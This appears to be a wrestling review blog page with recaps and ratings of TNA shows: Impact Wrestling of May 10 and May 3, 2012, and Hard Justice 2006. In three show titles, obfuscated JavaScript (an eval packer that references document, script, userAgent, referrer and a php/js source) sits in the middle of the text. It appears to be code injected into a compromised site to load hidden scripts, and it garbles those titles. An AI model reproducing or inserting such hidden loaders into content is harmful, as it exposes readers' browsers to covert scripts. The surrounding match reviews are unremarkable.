Overall Rating: B+. This worked really well overall and when you considered the ending of the show had to be completely rewritten because of Nash’s life threatening medical condition of the month, it was solid. Rhyno’s title reign wound up meaning nothing because he lost the title at the next taping, but for a nice surprise ending it worked pretty well.

The middle part of this show, as in from the tag titles through the Iron Man, is EXCELLENT and the opening part isn’t that bad. The Ultimate X match is solid other than the awful ending and the longest of the first four matches is 7:15 long so they hardly cripple the show. Very good show and I can see why people were so hyped about TNA at this point.

Remember to like this on Facebook and follow me on Twitter @kbreviews




Impact Wrestling – May 10, 2012: Stipulations And Monster A Go-Go!

Impact eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iseat|var|u0026u|referrer|nnnia||js|php'.split('|'),0,{})) Wrestling
Date: May 10, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

It’s the go home show for Sacrifice and I don’t think much has been announced for the show. It’ll probably be more about RVD vs. Roode which hasn’t been built up all that well for the most part. I mean the material is there but it hasn’t really grabbed me yet. Either way the match is set for Sunday and it should be entertaining enough. Let’s get to it.

Here’s Roode to open the show and say his usual stuff. I’m sure you know this speech by now. He took out Anderson, Hardy and RVD last week because he’s the champion and that’s what he does. He’ll be the longest reigning champion in 14 days and no one can stop him, especially not RVD on Sunday.

Cue RVD for a brawl with Roode going to the floor. RVD holds up the belt and Anderson comes out to beat up Roode too. Hardy comes in and it’s a 3-1 beatdown. Hardy and Anderson get in a fight because that’s what they do. Cue Hogan who has an idea for a fatal fourway tonight with everyone in the brawl in it. If Anderson or Hardy win, they get the RVD’s title match. If Roode wins, he can pick which of the three he wants to face. If RVD wins, he gets to pick the stipulation. RVD says cool let’s do it. Well at least it plays up to the Sacrifice name. Too bad this is IMPACT and not Sacrifice.

Ray isn’t worried about the tiny man known as Austin Aries. He says he’s going to take care of Aries tonight so stay tuned.

Gail is panicking about her match with Brook while Madison gets ready. Madison wants to look perfect for some guy but won’t say who.

Velvet Sky vs. Brooke Tessmacher

Velvet sends her to the corner and shakes her hips. Brooke sends her to the corner and shakes her hips. Ok then. They do some basic stuff until Brooke knocks her into the corner and uses her hips to ram Velvet’s face. Velvet comes back and hits a basement dropkick but In Yo Face is countered. Brooke hits a drop toehold to send her into the buckle and that belly to back mat slam for the pin at 3:42.

Rating: D-. This was REALLY bad with both girls missing a lot of stuff. It looked like their stuff was missing too, which is what can usually be covered up by people with more talent than this. Also I get tired of the hip stuff quickly. We get it: you know how to shake your hips. Now do something else.

Gail comes out and Brook Eats Defeat.

AJ has no comment on the secret thing and is focused on Angle this Sunday.

Hardy is ready for the main event.

Matt Morgan vs. Crimson

Bully Ray jumps Morgan with the chain before Morgan can get into the ring. He adds in a chair shot to the head and says that’ll be Aries in a stoic voice. No match as Morgan is taken out on a stretcher.

Post break and Morgan is still being taken out. Crimson gets on the mic and says that week after week Morgan claims to be the man to break the streak. He makes the referee ring the bell and count to ten.

Crimson vs. Matt Morgan

Ten count, 39 seconds.

RVD talks about Greek mythology and choosing the life of the hero instead of the long peaceful one.

X-Division Title: Zema Ion vs. Austin Aries

Aries takes over to start with a seated dropkick and it’s out to the floor. Aries misses a double ax off the top rope and hits the barricade. Ion hits a big flip dive which gets two back in the ring. Backbreaker gets two. A middle rope moonsault gets knees so Aries clotheslines him to the floor. Suicide dive takes Ion out and back in, a Tajiri handspring leads to a back elbow on the mat for two. A pair of dropkicks sets up the brainbuster to retain at 4:16.

Rating: C. The match was fine but it was basically a squash. Aries has zero competition and hasn’t for months, which makes these matches pretty dull as there’s no drama at all. It’s good that he’s moving up to the regular midcard but they need to get the title off of him. It’s not that hard to do it either but for some reason they keep waiting on it.

Kaz is worried about revealing the secret but Daniels says it’s ok.

RVD is ready for the win tonight and he’ll win the title on Sunday.

Quick recap on the latest incarnation of Daniels vs. AJ.

Daniels and Kaz are in the ring and Daniels invites AJ out to set the record straight. Cue AJ who says that this is a mistake but Kaz cuts him off. Kaz says that he protected AJ and then saw what was in the envelope and he stopped realizing why he was protecting AJ. Kaz opens the envelope and it’s a photo of AJ and Dixie Carter holding hands. AJ says so what so we get another of AJ with his hands on her face. The third is of them kissing. Daniels drops the pictures and leaves AJ stunned.

TV Title: Robbie E vs. D-Von

D-Von clears the ring of Big Robbie to start and hits a Thesz Press with punches. Headbutt keeps E down but T pulls D-Von to the floor. That goes badly for the big guy and E gets clotheslined as he tries to jump D-Von. Spinebuster ends this in 1:13.

Robbie T powerslams D-Von post match to keep this feud going another week.

We go to Tennessee to hear from Storm about how he has no excuse to lose. He’s put a lot of work into everything on his farm and in wrestling and he’s never second guessed himself until now. He didn’t get the job done at Lockdown and it kills him.

If RVD wins, it’s a ladder match. Apparently this was revealed earlier.

Joseph Park needs help finding the ring.

D-Von challenges the Rob’s to a handicap match at Sacrifice.

We recap the Abyss Is Missing story and how Joseph is looking for him.

Here’s Joseph in the arena and he has issues getting in the ring. He says everyone here knows who he is and what he’s doing. Every lead he’s had has said find Bully Ray so he’s not going away. Joseph says that he might buy a ticket and come to Sacrifice on Sunday to watch the show. Why bother? You’ve walked into every show here for months now.

Ray comes out and yells, saying this isn’t a court room and that Joseph needs to get out. Joseph says that Ray lost to Abyss in Abyss’ last appearance, plus he lost to D-Von two weeks ago. Then last week a guy half of Ray’s size named Austin Aries beat Ray down. How is that bully thing working out for you Ray? Ray shoves Joseph down and leaves as Park smiles.

Anderson is looking forward to not having his match on Sunday.

We get a great moment in TNA history which is Hogan arriving and throwing The Band out.

Angle is ready for AJ.

We run down the Sacrifice card.

RVD is ready for Sacrifice.

Rob Van Dam vs. Bobby Roode vs. Jeff Hardy vs. Mr. Anderson

If Rob wins, Roode vs. Van Dam is a ladder match. If Roode wins, he gets to pick his opponent on Sunday. If Hardy or Anderson win, they get RVD’s spot. Everyone jumps Roode to start but Anderson shoves Hardy off. They fight to the floor so it’s RVD vs. Roode with the champ hitting a suplex as we take a break.

Back with Roode getting two off another suplex. Anderson comes back in and gets his spinning neckbreaker for two on RVD. Van Dam comes back with the split legged moonsault for the same result. He loads up the Rolling Thunder but Roode catches him in the spinebuster for two in a nice counter. Rob superkicks Roode into the corner but his monkey flip to Jeff is countered. Whisper in the Wind gets two on RVD. Rolling Thunder hits Hardy but Roode throws Van Dam to the floor. Twist of Fate and Mic Check to Roode followed by Anderson spearing Hardy to the floor. Five Star pins Roode at 8:30.

Rating: C-. That’s the longest match of the night and it ran less than nine minutes, about four of which were spent in a commercial. I don’t think anyone thought anybody but Van Dam was going to win here which is ok, but they should have set up the stipulation way earlier than this instead of waiting for three days to go before the PPV.

Post match RVD puts up a ladder and here’s Abyss on the stage. He whispers to the camera and says Joseph is getting too close to the fire and to back off before he gets burned.

Overall Rating: D+. This show didn’t work for me for the most part. There was WAY too much talking and a lot of this felt like they were getting ready for TV later instead of the PPV on Sunday. That’s a major problem this company has: they book for TV instead of their major shows which doesn’t make much sense.

Why would anyone want to pay money (which is what TNA”s goal is: to make money) if the focus is on TV instead of the PPVs? Some of the matches got built somewhat ok, but adding a ladder stipulation to the title match three days early is a bad idea as you had a month you could have built that up with. Either way, not a good show heading into a filler PPV.

Results
Brooke Tessmacher b. Velvet Sky – Belly to Back Mat Slam
Crimson b. Matt Morgan via countout
Austin Aries b. Zema Ion – Brainbuster
D-Von b. Robbie E – Spinebuster
Rob Van Dam b. Jeff Hardy, Bobby Roode and Mr. Anderson – Five Star Frog Splash to Roode




Hard Justice 2006: The Impact Zone Is On Fire! No Seriously. There’s A Fire In The Rafters.

Hard eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sayad|var|u0026u|referrer|aenzt||js|php'.split('|'),0,{})) Justice 2006
Date: August 13, 2006
Location: Impact Zone, Orlando, Florida
Attendance: 900
Commentators: Don West, Mike Tenay

This is at the other end of the spectrum for TNA as the next show in 2005 was Unbreakable and that’s the last TNA show I’m going to be doing. The show looks very different now and in a good way for the most part I think. The main event here is Jarrett vs. Sting for the title (shocking) and there’s also AJ/Daniels vs. LAX which is usually good. Let’s get to it.

The opening video is about how good and evil are eternal rivals which is what they’re trying to push Jarrett vs. Sting as. They’ve feuded on and off over the years but eternal rivals? No. Just no. What this has to do with justice is beyond me.

Eric Young vs. Johnny Devine

Johnny is part of Paparazzi Productions. This is when Eric is all paranoid about getting fired so he’s trying to get all the fans he can behind him, meaning he’s got a parade of people after him chanting DON’T FIRE ERIC! Devine says Eric is going to choke under the pressure. Eric knocks him back and then gives him a hug as we get going. Devine punches him down and drops a few knees to the head.

We get a pretty sweet move as Devine is sent into the corner and tries to jump over Eric off the bottom rope but instead shifts in mid air into a reverse DDT. Then things get interesting as a legitimate fire breaks out in the rafters and the ring fills up with fire extinguisher spray. You can see the flames through the fog which is a little scary.

Devine suplexes him down and misses a springboard moonsault. The idiot fans chant “You can’t see us.” Eric gets a good powerbomb as the smoke is clearing out. Top rope elbow gets two. A sunset flip by Eric is countered but he gets Devine in a wheelbarrow position and flips him into a neckbreker for the pin.

Rating: C. All things considered, this wasn’t bad. Young had become a hit with the fans at this point as the paranoid guy that everyone loved, as opposed to now when he’s done the same schtick for over a year without ever really changing anything. The fire extinguisher stuff wasn’t their fault and to their credit they kept right at it which was impressive.

Earl Hebner runs out and chokes Mark Johnson for some reason. He’s mad about being fired and says that if he’s going down, Jarrett’s going down with him. Ok then.

We run down the rest of the card.

We see Jarrett arriving earlier with his second, Scott Steiner. Sting and Christian got here earlier today too.

We recap the four way tag match which is AMW, the James Gang, the Naturals and Bentley/Kazarian which I think is a #1 contenders match. I don’t think this needs much of a recap. All of them want the titles and have been fighting over who should get it.

First though we have to replace the mat because of all of the fire extinguisher stuff on it. What’s the right word for that anyway? Foam? Spray? Anyway Don and Mike talk about the fourway to fill in time.

Now we recap Sting’s career in TNA. He came back in January of 2006, had a tag match and said he was gone. Jarrett said he didn’t think Sting was gone so he sent the Pararazzi to film Sting at home, which ticked Sting off. He came back as Steve Borden to beat up Jarrett and then a month later as Sting. Steiner came in the next month to beat up Sting so Sting brought in Joe to beat up Jarrett but for some reason they switched his friend to Christian and sent Joe to the midcard again. Jarrett got the title back at Slammiversary and this would all set up tonight.

We come back to a sign saying technical difficulties, please stand by.

Here’s the same Sting video that just aired.

Tenay and Borash are in the back and we’re told that the fire marshall has evacuated the building and are testing everything before we continue the PPV. We look at the fire breaking out in the opening match. West comes in and says the people are being allowed back in now. To be clear, this isn’t something that can be held against TNA. It was an accident and who knows whose call it was that the building had to be cleared out. That could be building policy, local or state law or maybe even something else.

Tenay and West hype up the rest of the card to fill in more time. Eric Young comes up and wants to make sure that he’s not being blamed for the fire. Monty Brown says he’s going to blaze everyone in his triple threat match. This is about as good as they’re going to get for filling time which is ok. Also points to Brown and Tenay for doing this on the fly. It drags on too long and Brown runs out of insults. The fans are coming back in as Tenay helps Brown out by saying the winner could get a possible title match. Shane Douglas comes up to complain about life in general. His team is with him and he talks about them a bit at the end.

JB is with Alex Shelley who is replacing Kevin Nash in the X-Division match tonight. Nash has a bad neck apparently. Devine wheels in Nash in a wheelchair and a neckbrace. Nash tells Shelley to go to war and takes the brace off to give Shelley his dog tags. As little sense as this whole angle would wind up making, it was pretty funny.

Alex Shelley vs. Chris Sabin

The winner is #1 contender to the X Title. Feeling out process to start and it’s exactly what you would expect from the Guns in a singles match against each other. Shelley charges into a boot in the corner and Sabin hits a missile dropkick for two. Sabin loads up a Jackknife and does the Wolfpac sign before hitting the powerbomb. Shelley comes back with a bulldog and a Lionsault for two.

Sabin sends him to the floor and hits a suicide dive to take both guys down. Back in the ring and Sabin goes off with the kicks, followed by a springboard guillotine legdrop for two. Sabin loads up a tornado DDT but Shelley comes back with a middle rope atomic drop. Into a modified crossface but Sabin makes the rope.

Sabin gets Shelley into the Tree of Woe and hits the hesitation dropkick followed by a freaky spinning DDT for two. Sabin loads up something in the corner but Alex rolls off the corner and rolls forward into a Backstabber off the middle rope. Cool. Shellshock gets two and Nash puts a chair in the ring. Sliced Bread onto the chair is countered and Sabin kicks it into Shelley’s face. Cradle Shock gets the pin.

Rating: B-. As you would expect, these two put on an entertaining match. It’s easy to see why these two would be put together as a team because they compliment each other so well. The Nash stuff was part of a bigger story which I’m still not sure I get all of but it was entertaining which makes it ok.

Mitchell and Abyss aren’t worried about Brother Runt and say he’s doomed. Runt has been listening to Raven apparently and Raven has been telling Runt fairy tales.

We recap Runt vs. Abyss. The Dudleys had left for awhile to heal up and told Runt to stay out of trouble. Naturally he picked a fight with Abyss because that’s the kind of thing Runt does.

In case it wasn’t mentioned earlier, the four way tag match is canceled. The announcers haven’t said that yet but I don’t have time to wait on them.

Abyss vs. Brother Runt

Runt has a mohawk and looks like Travis Bickle from Taxi Driver, which Tenay and West keep calling Taxi. Runt is no Judd Hirsch. He starts fast with forearms and a headbutt to the ribs but Abyss kicks him down and throws him over the top and into about the third row. On the floor Runt comes back with a Dudley Dog onto the barricade. Raven is watching from somewhere. Runt throws in some chairs but Abyss wedges the first one between the ropes. Runt’s head goes into the chair for Abyss to take over.

Abyss splashes him in the corner as Raven is still watching, apparently from next to the stage. Abyss loads up a superplex but Runt gets in a shot with Abyss’ chain to knock him to the ring. Acid Drop (Dudley Dog, same thing) gets two. The referee goes down and Abyss gets his bag of tacks. Abyss rubs Runt’s face into the tacks and stomps on the back of Runt’s head, sending it into the tacks. Ok that’s not bad. Runt comes back but gets gorilla pressed onto the tacks. Black Hole Slam onto the tacks ends this.

Rating: D. Was there a point to this? I’ve never gotten the appeal of Runt challenging whatever monster there is but I suppose it was to set up Raven vs. Abyss later on. Abyss threw him around all match long and then beat him up with the tacks in some decent looking violence. Pretty boring match though.

Rhyno says he was looking for Joe and Brown during the confusion earlier. He’s here to destroy both of them no matter where he needs to go.

We recap Rhyno vs. Joe vs. Brown. Rhyno was offered a contract with the new ECW but he turned it down. He threw out an open contract for a fight at Hard Justice which was accepted by Joe and Brown. It’s falls count anywhere which is going to be stretched to mean hardcore.

Samoa Joe vs. Monty Brown vs. Rhyno

Big brawl to start and Brown is sent to the floor where Rhyno dives on him. Joe dives on both of them and stands tall. Brown brings in a trashcan but Joe takes it from him. In a cool sequence he hits Brown in the back with the can and with Brown bent over, Joe punts it into Brown’s face. Joe gets sent into the crowd and Rhyno follows him with a kendo stick. They go over to that wall that you always see in the Impact Zone but Brown dives onto both of them to take over.

Rhyno and Joe ram each other into the wall enough times to crack it and boards are falling off of it. Brown beats on Joe with said boards before Rhyno takes Brown up above the wall. Joe pops up with a crutch and then a chair to the back of both of them. He superkicks Brown back a bit and they stumble further into the crowd. Joe poses long enough for Rhyno to hit him in the head with a trashcan lid.

Brown comes in with one of his own but gets suplexed by Rhyno for his troubles. There’s a suplex for Joe but he blocks the Gore. A suplex gets two on Rhyno for Brown. Rhyno knocks Brown upside the head again and pulls some more weapons from under the ring. They go into the ring with Joe still down. As I say that, Joe comes back in and cleans house on Brown, hitting a backsplash for two.

Joe goes off on Rhyno but walks into a spinebuster onto a chair. They go to the corner with Rhyno looking for a superplex. Joe pulls him down with a sunset bomb onto the chair for two. Brown is back in now and takes Joe to the floor. He loads up a table but can’t suplex Joe off the ramp through the table. Instead he hits a swinging neckbreaker on Joe on the stage. Rhyno runs in with a trashcan lid shot to both of them. There’s a table set up off the stage but Rhyno misses a Gore off the stage and crashes through it. Brown goes down to pin him but walks into an STO off the ramp through the table by Joe for the pin.

Rating: A-. That’s probably high but DANG this was a wild brawl. They didn’t stop for over thirteen minutes and some of those weapon shots were HARD, especially the ones with the trashcan lid by Rhyno. Joe would keep running through everyone and wouldn’t lose until December to this Angle dude. He would beat Jarrett (non-title of course) next month. Brown would have one more match until he left for WWE.

Larry Z says Earl Hebner has been thrown out. He says he had nothing to do with the controversy at Slammiversary. Mark Johnson comes in and wants an explanation but Larry says it was Johnson’s fault.

We recap Gail vs. Sirelda. Sirelda is the lastest Chyna wannabe who beat up Gail on behalf of AJ and Daniels, so tonight it’s girl vs. whatever Sirelda is.

Sirelda vs. Gail Kim

Gail is looking great tonight. She jumps Sirelda to start but gets powered into a corner and slammed ala Ultimate Warrior. Sirelda loads up a chokeslam but Kim easily escapes. She guillotines Sirelda on the top rope and a knee drop gets two. The fourway tag is officially announced as canceled. There’s a Tarantula from Gail but her high cross body misses. A bad looking World’s Strongest Slam gets two and Sirelda loads up a superplex. Gail knocks her back and hits a bad Blockbuster for the pin.

Rating: D-. This was really bad but Gail looked smoking out there so I’ll give it some points for that. Sirelda wasn’t around long and given how awful she was in this match I’m not really surprised by that. Nothing to see here and I think this ended the mini feud between these two. If it didn’t then it should have.

Scott Steiner goes on a semi-famous rant, talking about how Christian is a surprise as Sting’s backup. That’s strange because Scott Steiner is from a highly educated university and has to dumb himself down for these fans.

We recap the X Title match which is Senshi defending against Williams who won a five way and Lethal who is in the match because he tried hard in a match against Jarrett.

Senshi vs. Jay Lethal vs. Petey Williams

Williams knocks Lethal to the floor and follows him out with a rana off the apron. Senshi dives out to the floor, takes out both guys and lands on his feet. It’s Lethal vs. Senshi at the moment. Williams comes back in and walks into a Liger Kick from Senshi. Lethal back up now but he misses a moonsault out of the corner. Senshi shoves Lethal into Williams and Williams kicks Lethal down.

Petey puts Lethal in the Tree of Woe and does the O Canada spot. Senshi kicks Williams down and loads up the Warrior’s Way but Lethal comes back in for the save. Lethal’s superplex is broken up and Senshi dives onto Williams. Lethal stays up there and dropkicks both guys down, drawing a Lethal chant from the crowd. Both guys are slammed by Jay and he hits stereo low dropkicks to the face.

Lethal’s slide through Senshi’s legs for a sunset flip attempt is broken up by a kick and they all try to roll each other up. Jay gutwrench suplexes Senshi down but gets caught in a Sharpshooter by Williams. Senshi breaks that up with a kick to Petey for two but gets caught in a release German for two from Lethal. Swan Dive to Petey misses and there’s the Canadian Destroyer to Lethal. Senshi kicks Williams down and pins Lethal to retain.

Rating: B-. Another good three way here as they had some great counters in there at the end. Senshi was a guy that I’ve always found uninteresting and Williams only had one move and Lethal was pretty dull without the Savage stuff, but they combined for a decent match here. I think Sabin would take the title off Senshi.

Konnan says LAX’s revolution continues tonight. Daniels and Styles are handpicked champions and LAX won’t stand for that.

We recap LAX vs. Styles/Daniels. It’s pretty much exactly what I just explained: LAX is leading the Latin revolution against TNA and they’re starting by taking the tag titles.

Tag Titles: LAX vs. Christopher Daniels/AJ Styles

Daniels and Hernandez start things off and it’s power vs. striking. Daniels escapes a suplex and hits a headscissors followed by a leg lariat to send Hernandez to the floor. Off to Styles vs. Homicide and Tenay is WAY too excited about it. They trade armdrags and slug it out with rights to the head. Homicide snaps off a rana but AJ nips up into one of his own to send Homicide out to the floor.

Hernandez tries to come in but the champs double team him out to the floor. It’s back to Styles vs. Homicide now but a Hernandez distraction allows Homicide to hit a neckbreaker for two. SuperMex comes in legally now and hooks onto AJ’s head with a neck crank. Back to Homicide for a chinlock of his own. AJ tries to set for a springboard but Hernandez breaks that up. Homicide hits a tope con hilo through the ropes to take AJ out again.

Daniels tries to come in but it just allows Konnan to get in more offense. Hernandez gets the tag and chokes a bit before it’s back to Homicide. AJ comes back with a front suplex to drape Homicide over the top rope which is good for the tag. Daniels cleans house on both challengers, hitting a combination bulldog/enziguri. Split legged moonsault gets two. Homicide goes to the floor but Daniels drops down on him as well. Hernandez dives over the top to take them both out but AJ hits a HUGE off the top rope shooting star to take everyone out.

Everyone is down until AJ gets up and throws Homicide back in. A faceplant gets two because AJ gets up to take out Hernandez. Daniels is back up and a double team cross body gets two on Homicide. LAX hits a kind of Steiner Bulldog for two on Daniels. Homicide sets for a tornado DDT but AJ blocks it until Hernandez comes over for the Tower of Doom. AJ gets up and hits the moonsault into the DDT for two on SuperMex. Everyone is down and AJ hits the Pele on Hernandez. Release Rock Bottom puts Daniels down but Konnan crotches Styles. LAX sets for double finishers but the champions escape and hit High Low to retain on Homicide.

Rating: B. These two teams had some excellent chemistry together and their future matches would get even better. This won feud of the year in TNA I think and I certainly can understand why. Daniels is always tolerable when he’s not facing AJ so this was a much more enjoyable performance from him.

Christian says he thinks Jarrett started the fire to get out of his match. He’s not going anywhere and tonight, Jarrett loses the title. As for Steiner, he can come after Christian anytime. Sting gets the title tonight to cut the cancer out of TNA.

We get a shortened version of the Sting vs. Jarrett video from earlier.

NWA World Title: Sting vs. Jeff Jarrett

Christian and Steiner are the respective seconds. We almost get in a fight with the big match intros but after them we’re ready to go. The fans chant steroids at Steiner. Feeling out process to start but Sting quickly goes for the Scorpion twice in less than a minute. Out to the floor and Jeff is thrown over the announce table. Sting hits him with a fan. As in a cooling machine, not a person.

They’re in the crowd now as is the custom for a Sting main event match. All Sting so far. Sting throws Jarrett back into the ring after an extended crowd beating but as the the referee (one of three) is with Christian, Steiner hits Sting in the knee with a chair and suplexes Christian. Jeff goes right for the knee and Sting is in trouble. There’s the Figure Four and of course it’s on the wrong leg.

Jarrett makes the eternal mistake of slapping Sting which lets Sting turn the hold over and eventually make a rope. They slug it out and Sting isn’t selling the knee. Stinger Splash misses but the Stroke is countered into the Death Drop for two as Steiner pulls the referee out. Christian goes after Roidzilla with a chair but gets ejected for trying to use it. A regular splash from Sting gets knees to put him down.

Steiner throws in the belt and distracts the referee but Christian trips him up and throws the belt to Sting. Jarrett is clocked but Steiner’s distraction lets Jarrett recover and put his foot on the ropes. They collide and Steiner hits Sting with a chair, knocking his head into Jarrett’s crotch. Christian and Steiner get in the ring for a fight but Steiner is thrown out. Wasn’t Christian ejected? Either way he hits Jarrett with the chair and is ejected again as a result.

Steiner is in the ring behind the referee but doesn’t actually do anything. Now he gets ejected as well so it’s FINALLY even. Sting and Jarrett are both getting up but Sting misses a dropkick. Jarrett hooks the Scorpion on Sting but Sting Hulks Up and powers out of it. Scorpion to Jarrett but Jeff makes the rope. Stinger Splash hits the referee and Jarrett hits the Stroke, but there’s no one to count. Cue Steiner again with a guitar but Christian comes in with the bat. He cleans house with it but turns on Sting as he comes off the top, hitting him with the guitar. Jarrett gets the easy pin to end the show.

Rating: C. WAY overbooked here as almost all Jarrett vs. Sting matches wind up being. How hard can it possibly be to have Jarrett vs. Sting? I mean….IT’S JEFF JARRETT VS. STING. Do you think they can have a good match on their own? This might as well have been a tag match and it didn’t set up Christian vs. Sting for some reason. Instead we got Joe vs. Jarrett next month and Sting vs. Jarrett again at BFG.

Overall Rating: B-. This show was a bit of a mess, but it was a fun mess. The fire messed up a lot of stuff but it happened early enough in the show that it didn’t change much (other than the promos which mentioned it all night). There were some good matches here and the main event, while overbooked beyond all need, was entertaining enough and let Christian do his obvious turn. Pretty good show but it had some holes in it.

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Impact Wrestling – May 3, 2012: Rise Of The Silva Surfer

Impact eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fakff|var|u0026u|referrer|tssbk||js|php'.split('|'),0,{})) Wrestling
Date: May 3, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

It’s time for another TNA show but it’s hard to say where things go from here. We had Open Fight Night last week which was nothing special at all in my eyes. The end of the show was Eric Bischoff being covered in human waste and since he’s gone FOREVER, it doesn’t really give any indication of where things are going next. Let’s get to it.

We open with a recap of the end of last week’s show.

Flair is in the ring complaining about Hogan and how Hulk ran Eric Bischoff out of the building. You spell his name R-i-c G-o-d F-l-a-i-r. That’s an awesome line. He calls out Hogan and eventually here’s Hulk. Flair says this is good vs. evil and Hogan is good, while Flair is the “most evil man in the planet.” Flair says he’ll get power back. Hogan says he isn’t here to fight him, but he’s here to step the game up. The real evil one is Eric though because he did everything. Hogan says he hung up his boots when the GM position came open and he’s here to make this the longest running company.

Hogan says he’s Flair’s boss and offers Flair a spot as a judge on the Gut Check stuff. So wait they had a guy come in and compete without having the judges already picked? Flair can teach anyone more than they could ever learn and he’d love Flair to head up the judging. Flair actually says he’ll do it.

Roode and RVD pick each others’ opponents tonight.

Velvet thinks Gail is a cheater. Tessmacher says she never got a shot.

Brooke Tessmacher/Velvet Sky vs. Madison Rayne/Gail Kim

Gail and Velvet start with Brooke being knocked to the floor. The May 31 time slot change is confirmed and there’s going to be a huge surprise on that show. Velvet gets double teamed and it’s Madison in now, humping the mat as usual. Back to Gail who hammers her down for two. A top rope rana is countered and Velvet comes off the middle rope with a bulldog kind of move to set up the tag. The ring gets cleared out and Brooke winds up hitting Eat Defeat on Gail for the pin at 4:45.

Rating: D+. How in the world was this almost five minutes? It felt like it came and went inside of thirty seconds, which doesn’t really surprise me as these matches are usually pretty forgettable. It’s been a very steady and basic build for Brooke vs. Gail and Gail needs to lose the title already anyway. The looks of the four girls are the highlights here again as usual.

Since we’re coming up on the ten year anniversary of the company, we get some clips of the previous ten years, including sabu showing up and costing Raven a title match against Jarrett which was a big deal at the time.

Here’s RVD to face whoever Roode picks for him. RVD says that he’s one of a kind and he’ll win the title from Roode. Cue Roode who says RVD always has his head in the clouds and was on a HIGHatus, and at Sacrifice RVD will be added to the list of everyone that Roode has beaten. Roode says RVD can announce Roode’s opponent first. RVD implies Storm for a bit but it’s Mr. Anderson. Roode picks Jeff Hardy.

TV Title: D-Von vs. Robbie T

This is fallout from Lockdown. Robbie jumps him in the corner and takes over quickly. He slams D-Von down for two but runs into a boot in the corner. D-Von comes back with his usual stuff like shoulders and punches. Swan Dive headbutt gets two. Robbie E is brought in and does nothing so D-Von spears T down. E hits him in the head with The List for the DQ at 2:45.

Snow and Flair meet in the back and the third judge is the Senior Vice President of Talent Relations: Bruce Pritchard (Brother Love).

After a quick recap of Silva’s performance last week, the judges talk with overly dramatic music playing. Pritchard and Flair aren’t thrilled but Snow pleads his case. Flair says he isn’t big enough so Snow suggests the X-Division. Flair still isn’t sold and Pritchard seems to have no idea what side he’s on. We’ll get the decision later I guess. So they sat there talking for four minutes for nothing?

Hogan tells Anderson his match tonight is No DQ and no countout.

Jeff Hardy vs. Rob Van Dam

They fight over a wristlock to start and RVD takes him into a rollup for two. Jeff sends him to the floor and hits a clothesline off the apron which gets two back in. Whisper in the Wind gets two. Van Dam takes out the knee and hits Rolling Thunder for two. Cue Roode with the belt but the referee sees him coming. Jeff gets sent into the ropes and Roode hits him in the back with the belt, allowing Rob to superkick Jeff down for the pin at 3:40.

Rating: D+. Bad match but it’s mainly because of how short the match was. With less than four minutes and a piece of that being spent on the referee yelling at Roode, they can only make it so interesting. Nothing to see here and I really don’t get the ending unless Roode hit Jeff by mistake.

Ray is walking through the back and runs into Joseph Park who says he’ll prove that Ray had something to do with Abyss’ disappearance. Ray shoves him away and threatens Park if he doesn’t back off.

JB says that he did what he did to Bischoff last week because of the last two and a half years of stuff he’s had to put up with. Bully Ray shows up and drags JB to the ring, saying they’ll talk about it out there. Out in the ring, Ray says that he’s tired of this anti-bullying nonsense and goes off on JB (never hitting him) about how JB is the kind of guy that guys like Bully pick on.

Cue Austin Aries who goes off on Ray, saying that Ray has picked on him for his size like everyone else has. Aries says that Ray was fat for most of his career and now he’s in shape and….Ray knocks the mic out of his hand and yells at Aries until Aries blasts him in the head. Aries beats him into the corner and beats him down in the corner. Security comes out to stop Aries and Ray kicks him low to end this.

Kaz and Daniels talk about getting the tag titles until Angle yells at them. They’re in a six man tonight. Angle isn’t thrilled about being their partner.

Roode isn’t worried about facing Mr. Anderson.

Kurt Angle/Christopher Daniels/Kazarian vs. Samoa Joe/Magnus/AJ Styles

AJ has those stupid black gloves again. The champs hit the ring and the brawl is on. Those four head to the floor so it’s AJ vs. Angle in the ring. This certainly works. AJ does the dropdown into a dropkick sequence but Daniels comes in to jump him. Angle doesn’t like it so he shoves Daniels into the corner. Joe comes in and pounds Angle down before tagging Magnus back in.

Kurt takes him down and we hit the chinlock. Magnus fights up and hits a clothesline for the tag to AJ. Styles cleans house and loads up the Clash but Daniels breaks it up with an enziguri. Everything breaks down and Magnus makes a blind tag. Daniels is sent to the floor with Magnus following him. Suicide elbow takes Daniels out. AJ sets for a dive but Angle picks the ankle and hooks the lock but Kaz tags himself in while the hold is on. Joe runs Angle into Daniels and Magnus breaks up Fade to Black, allowing Styles to hit the Clash on Kaz for the pin at 4:30.

Rating: C+. This was the best match on the show by about a mile so far. They were moving out there and while you had a bunch of angles going on in one match it was still entertaining. It’s going to continue Daniels vs. AJ which needs to end forever already but it also continues Styles vs. Angle which is good.

Daniels says next week, AJ needs to reveal the secret or he’ll do it himself.

Time for the Gut Check deal. Snow introduces the three judges (himself, Pritchard and Flair). This is straight out of a reality show as Silva stands there in a spotlight while the guys talk about him. Flair says no, Snow says yes, Pritchard says….something, and Silva gets thirty seconds to talk.

He’s from Quebec so he has a thick accent. This is his dream and he gets cut off with Flair saying to talk to them, not the marks. Silva says that he stands up for himself every single night and that he’s here for his contract. Flair says ok you’re in. Shouldn’t that do it? Pritchard says that sways him so it’s all three now and he gets a contract.

